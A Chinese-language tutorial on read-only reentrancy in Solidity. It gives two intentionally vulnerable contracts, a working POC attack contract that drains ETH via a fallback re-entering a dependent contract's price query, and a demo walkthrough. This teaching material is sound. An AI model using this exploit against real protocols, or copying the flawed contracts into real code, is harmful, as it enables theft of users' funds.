在学习只读重入攻击前,最好先了解什么是重入攻击。
重入攻击
重入攻击是目前常见的漏洞。在Solidity智能合约编程中,一个智能合约可以调用另一个智能合约的代码。在很多项目的业务逻辑中,都需要发送ETH到特定地址,但如果ETH接收地址是智能合约,则会调用该智能合约的fallback函数。如果恶意行为者在其合约的fallback函数中编写精心设计的代码,则可能会引入重入漏洞的风险。
攻击者可以在恶意合约的fallback函数中重新发起对项目合约的调用。此时,第一次调用还没有完成,一些变量还没有更新。在此状态下进行第二次调用可能会导致项目合约使用异常变量执行计算或允许攻击者绕过某些检查。
大多数区块链开发人员都意识到了这一危险,并实施了重入锁,以防止具有相同重入锁的函数在当前执行时再次被调用。虽然重入锁可以有效防止上述攻击,但还有一种很难防范的类型,称为“只读重入”。
只读重入攻击
英文名:read-only reentrancy
如果我们调用的函数是只读视图函数,则函数内部不会发生任何状态变化,调用它根本不会影响当前合约。因此,开发者通常不会太关注这些函数的重入风险,也不会为其添加重入锁。
虽然视图函数对当前合约基本没有影响,但还有一种情况是,一个合约以数据依赖的方式调用其他合约的视图函数,而这些视图函数没有重入锁,这会导致只读重入风险。
应用举例
例如,项目A的合约允许质押代币和提取代币,并提供根据质押LP代币总数与总供应量查询价格的功能。质押和提现函数之间有可重入锁,但查询函数没有。现在还有一个项目B提供了质押和提现功能,两者之间有可重入锁,但这两个项目都依赖于项目A的价格查询功能来进行LP代币计算。
如上所述,两个项目之间存在只读重入风险,如下图所示:
- 攻击者在合约A中质押和提取代币。
- 提现代币调用攻击者的fallback合约函数。
- 攻击者在其合约内再次调用 ContractB 的质押函数。
- Stake函数调用ContractA的价格计算函数。此时,ContractA 的状态尚未更新,导致价格计算不正确,并计算出更多 LP 代币并将其发送给攻击者。
- 重入结束后,ContractA的状态被更新。
- 最后,攻击者调用ContractB提取代币。
- 此时,ContractB 正在获取更新的数据,允许攻击者提取更多代币。
一边在A中提现,一边在B中质押,两个项目都依赖于项目A的价格查询功能来进行LP代币计算,Stake函数调用ContractA的价格计算函数。此时,ContractA 的状态尚未更新,导致价格计算不正确,并计算出更多LP代币并将其发送给攻击者。
代码验证
合约A代码如下:
pragma solidity ^0.8.21;
contract ContractA {
uint256 private _totalSupply;
uint256 private _allstake;
mapping (address => uint256) public _balances;
bool check=true;
/**
* Reentrancy lock
**/
modifier noreentrancy(){
require(check);
check=false;
_;
check=true;
}
constructor(){
}
/**
* Calculates staking value based on total supply of LP tokens vs total staked, with 10e8 precision.
**/
function get_price() public view virtual returns (uint256) {
if(_totalSupply==0||_allstake==0) return 10e8;
return _totalSupply*10e8/_allstake;
}
/**
* Users can stake, which increases total staked and mints LP tokens.
**/
function deposit() public payable noreentrancy(){
uint256 mintamount=msg.value*get_price()/10e8;
_allstake+=msg.value;
_balances[msg.sender]+=mintamount;
_totalSupply+=mintamount;
}
/**
* Users can withdraw, which decreases total staked and burns from total supply of LP tokens.
**/
function withdraw(uint256 burnamount) public noreentrancy(){
uint256 sendamount=burnamount*10e8/get_price();
_allstake-=sendamount;
payable(msg.sender).call{value:sendamount}("");
_balances[msg.sender]-=burnamount;
_totalSupply-=burnamount;
}
}
合约B代码如下
pragma solidity ^0.8.21;
interface ContractA {
function get_price() external view returns (uint256);
}
contract ContractB {
ContractA contract_a;
mapping (address => uint256) private _balances;
bool check=true;
modifier noreentrancy(){
require(check);
check=false;
_;
check=true;
}
constructor(){
}
function setcontracta(address addr) public {
contract_a = ContractA(addr);
}
/**
* Stake tokens, use ContractA's get_price() to calculate value of staked tokens, and mint that amount of LP tokens.
**/
function depositFunds() public payable noreentrancy(){
uint256 mintamount=msg.value*contract_a.get_price()/10e8;
_balances[msg.sender]+=mintamount;
}
/**
* Withdraw tokens, use ContractA's get_price() to calculate value of LP tokens, and withdraw that amount of tokens.
**/
function withdrawFunds(uint256 burnamount) public payable noreentrancy(){
_balances[msg.sender]-=burnamount;
uint256 amount=burnamount*10e8/contract_a.get_price();
msg.sender.call{value:amount}("");
}
function balanceof(address acount)public view returns (uint256){
return _balances[acount];
}
}
POC合约攻击代码如下
pragma solidity ^0.8.21;
interface ContractA {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
interface ContractB {
function depositFunds() external payable;
function withdrawFunds(uint256 amount) external;
function balanceof(address acount)external view returns (uint256);
}
contract POC {
ContractA contract_a;
ContractB contract_b;
address payable _owner;
uint flag=0;
uint256 depositamount=30 ether;
constructor() payable{
_owner=payable(msg.sender);
}
function setaddr(address _contracta,address _contractb) public {
contract_a=ContractA(_contracta);
contract_b=ContractB(_contractb);
}
/**
* Start function, which adds liquidity, removes liquidity, and finally withdraws tokens.
**/
function start(uint256 amount)public {
contract_a.deposit{value:amount}();
contract_a.withdraw(amount);
contract_b.withdrawFunds(contract_b.balanceof(address(this)));
}
/**
* Deposit function called during reentrancy.
**/
function deposit()internal {
contract_b.depositFunds{value:depositamount}();
}
/**
* Withdraw ETH after the attack
**/
function getEther() public {
_owner.transfer(address(this).balance);
}
/**
* Callback function, the key of reentrancy
**/
fallback()payable external {
if(msg.sender==address(contract_a)){
deposit();
}
}
}
攻击演示
一、使用不同的EOA账户部署攻击合约,转入50 ETH,并设置ContractA和ContractB地址。
二、传入50000000000000000000(50*10^18)到start函数并执行。我们看到ContractB的30 ETH已经转入POC合约。
三、再次调用 getEther。攻击者地址获利30 ETH。
代码执行流程:
一、start函数首先调用ContractA的deposit函数来质押ETH,攻击者传入50乘10^18。加上合约已有的初始 50乘10^18,_allstake 和 _totalSupply 现在均为 100乘10^18。
二、接下来调用ContractA的withdraw函数来提现代币。合约将首先更新_allstake,并向攻击者的合约发送50 ETH,这将触发回退功能。最后 _totalSupply 被更新。
三、在回退中,攻击者合约调用 ContractB 的抵押函数来抵押 30 ETH。由于get_price是一个视图函数,所以ContractB在这里成功地重新输入了ContractA的get_price。此时_totalSupply还没有更新,仍然是100乘1018,但是_allstake已经减少到50乘1018。所以这里的返回值会翻倍。攻击者合约将获得 60乘10^18 LP 代币。
四、重入完成后,攻击者合约调用ContractB的提现函数提取ETH。此时_totalSupply已更新为50*10^18,因此计算出的ETH数量将与LP代币数量相匹配。60 ETH 被转移到攻击者的合约中,攻击者获利 30 ETH。
安全建议
对于上面的安全问题,安全团队建议:对于需要依赖其他项目作为数据支撑的项目,应该严格检查依赖项目与自身项目相结合后的业务逻辑安全性。在两个项目单看均没有问题的情况下,结合后便可能出现严重的安全问题。